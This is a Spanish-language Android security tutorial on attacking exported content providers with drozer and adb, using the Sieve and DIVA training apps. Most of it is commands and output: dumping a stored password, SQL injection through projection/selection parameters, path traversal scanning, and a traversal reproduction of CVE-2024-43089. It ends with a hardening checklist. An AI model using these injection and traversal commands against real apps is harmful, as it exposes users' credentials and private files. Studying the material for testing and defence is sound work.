Explotación de Proveedores de Contenido

Introducción

Los datos son suministrados de una aplicación a otras a solicitud por un componente conocido como un proveedor de contenido. Estas solicitudes son gestionadas a través de los métodos de la clase ContentResolver. Los proveedores de contenido pueden almacenar sus datos en varias ubicaciones, como una base de datos, archivos o a través de una red.

En el archivo Manifest.xml, se requiere la declaración del proveedor de contenido. Por ejemplo:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Para acceder a content://com.mwr.example.sieve.DBContentProvider/Keys, se necesita el permiso READ_KEYS. Es interesante notar que la ruta /Keys/ es accesible en la siguiente sección, que no está protegida debido a un error del desarrollador, quien aseguró /Keys pero declaró /Keys/.

Quizás puedas acceder a datos privados o explotar alguna vulnerabilidad (SQL Injection o Path Traversal).

Obtener información de content providers expuestos

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Es posible juntar cómo llegar al DBContentProvider comenzando los URIs con “content://”. Este enfoque se basa en los conocimientos adquiridos al usar Drozer, donde se encontraba información clave en el /Keys directorio.

Drozer puede adivinar y probar varios URIs:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Deberías también revisar el código de ContentProvider para buscar consultas:

Además, si no puedes encontrar consultas completas, podrías ver qué nombres están declarados por el ContentProvider en el método onCreate:

La consulta será como: content://name.of.package.class/declared_name

Content Providers respaldados por bases de datos

Probablemente la mayoría de los Content Providers se utilizan como interfaz para una base de datos. Por lo tanto, si puedes acceder a ella, podrías extraer, actualizar, insertar y eliminar información.
Verifica si puedes acceder a información sensible o intenta cambiarla para eludir mecanismos de autorización.

Al revisar el código del Content Provider, busca también funciones nombradas como: query, insert, update y delete:

Porque podrás llamarlas

Consultar contenido

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Insertar contenido

Consultando la base de datos aprenderás el nombre de las columnas, luego, podrías ser capaz de insertar datos en la DB:

Nota que en insertar y actualizar puedes usar --string para indicar cadena, --double para indicar un doble, --float, --integer, --long, --short, --boolean

Actualizar contenido

Conociendo el nombre de las columnas también podrías modificar las entradas:

Eliminar contenido

Inyección SQL

Es simple probar la inyección SQL (SQLite) manipulando la proyección y los campos de selección que se pasan al proveedor de contenido.
Al consultar el Proveedor de Contenido hay 2 argumentos interesantes para buscar información: --selection y --projection:

Puedes intentar abusar de estos parámetros para probar inyecciones SQL:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Descubrimiento automático de SQLInjection por Drozer

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Proveedores de Contenido respaldados por el Sistema de Archivos

Los proveedores de contenido también se pueden usar para acceder a archivos:

Leer archivo

Puedes leer archivos desde el Proveedor de Contenido.

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Traversal de Ruta

Si puedes acceder a archivos, puedes intentar abusar de un Traversal de Ruta (en este caso no es necesario, pero puedes intentar usar "../" y trucos similares).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Descubrimiento automático de Path Traversal por Drozer

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Actualizaciones 2023-2025 y Consejos Modernos

Drozer 3.x (Python 3) está disponible

WithSecure reanudó el mantenimiento de drozer en 2022 y portó el marco a Python 3 (último 3.1.0 – abril de 2024). Además de las correcciones de compatibilidad, los nuevos módulos que son particularmente útiles al trabajar con Content Providers incluyen:

• scanner.provider.exported – lista solo proveedores con android:exported="true".
• app.provider.grant – llama automáticamente a grantUriPermission() para que puedas comunicarte con proveedores que esperan FLAG_GRANT_READ_URI_PERMISSION / FLAG_GRANT_WRITE_URI_PERMISSION en Android 12+.
• Mejor manejo de Scoped Storage para que los proveedores basados en archivos en Android 11+ aún puedan ser alcanzados.

Actualiza (host y agente):

pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk

Usando el helper cmd content incorporado (ADB ≥ 8.0)

Todos los dispositivos Android modernos vienen con una CLI que puede consultar/actualizar proveedores sin instalar ningún agente:

adb shell cmd content query  --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call   --uri content://com.test.provider  \
--method evilMethod --arg 'foo'

Combínalo con run-as <pkg> o un shell con acceso root para probar proveedores solo internos.

CVEs recientes del mundo real que abusaron de los Content Providers

Recrea CVE-2024-43089 en una versión vulnerable:

adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml

Lista de verificación de endurecimiento para API 30+

• Declara android:exported="false" a menos que el proveedor deba ser público – a partir de API 31, el atributo es obligatorio.
• Aplica permisos y/o android:grantUriPermissions="true" en lugar de exportar todo el proveedor.
• Lista blanca de los argumentos permitidos projection, selection y sortOrder (por ejemplo, construir consultas con SQLiteQueryBuilder.setProjectionMap).
• En openFile(), canoniza la ruta solicitada (FileUtils) y rechaza las secuencias .. para prevenir la navegación.
• Al exponer archivos, prefiere Storage Access Framework o un FileProvider.

Estos cambios en las versiones recientes de Android significan que muchos primitivos de explotación heredados aún funcionan, pero requieren banderas/permisos adicionales que los módulos drozer actualizados o el asistente cmd content pueden aplicar automáticamente.

Referencias

• https://www.tutorialspoint.com/android/android_content_providers.htm
• https://manifestsecurity.com/android-application-security-part-15/
• https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
• https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0
• https://source.android.com/security/bulletin/2024-07-01